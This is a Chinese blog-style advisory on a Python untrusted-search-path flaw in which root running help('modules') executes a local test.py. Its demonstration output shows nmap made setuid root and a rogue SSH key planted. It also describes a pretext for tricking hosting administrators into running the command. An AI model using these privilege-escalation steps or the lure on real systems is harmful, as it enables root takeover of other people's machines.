exploit-db.com近日爆了一个奇特的漏洞。只要诱使root在当前目录,通过python或者python-wrapper执行一下help(‘modules’)命令,后台就以root权限执行该目录下test.py脚本。 ///adalia是普通用户,以下显示test.py的权限和脚本内容。脚本内容其中一项是chmod 4755 /usr/bin/nmap,把nmap加为4755权限,这意味着以执行nmap时以nmap的owner权限执行,即普通用户可以用root权限执行nmap
///以下所示nmap本来的权限为rwx,
adalia@bukkit:~/security/pythonwrapper> ls -hl /usr/bin/nmap
-rwxr-xr-x 1 root root 1.4M Oct 29 2011 /usr/bin/nmap
///攻击前 /root/.ssh/authorized_keys不存在
bukkit:/home/adalia/security/pythonwrapper # ls /root/.ssh/authorized_keys
ls: cannot access /root/.ssh/authorized_keys: No such file or directory
///攻击开始:以bukkit(root权限)执行python
adalia@bukkit:~/security/pythonwrapper> su
Password:
bukkit:/home/adalia/security/pythonwrapper # python
Python 2.7.2 (default, Aug 19 2011, 20:41:43) [GCC] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> help('modules')
Please wait a moment while I gather a list of all available modules...
...此处省略具体模块...
>>> exit()
///经过一番modules的列举后在看看情况nmap的权限已经变成rws了。也即可以以nmap的owen权限执行。而原本不存在的/root/.ssh/authorized_keys的文件也有了。
bukkit:/home/adalia/security/pythonwrapper # ls -hl /usr/bin/nmap
-rwsr-xr-x 1 root root 1.4M Oct 29 2011 /usr/bin/nmap
bukkit:/home/adalia/security/pythonwrapper # cat /root/.ssh/authorized_keys
ssh-rsa rogueclown washere
漏洞发现者还提供了一种诱使管理员运行 help(‘modules’)的场景,在webhosting环境下,向管理员反应某些模块运行有问题,要求管理帮忙调试一把,列出webhosting环境里安装了那些模块。于是管理员等到该用户目录下,一跑起 help(‘modules’)就悲剧了。 受影响: Version: python 2.7.2 and python 3.2.1 Python untrusted search path/code execution vulnerability: http://www.exploit-id.com/local-exploits/python-untrusted-search-pathcode-execution-vulnerability python-wrapper untrusted search path/code execution vulnerability: http://www.exploit-db.com/exploits/19523/
|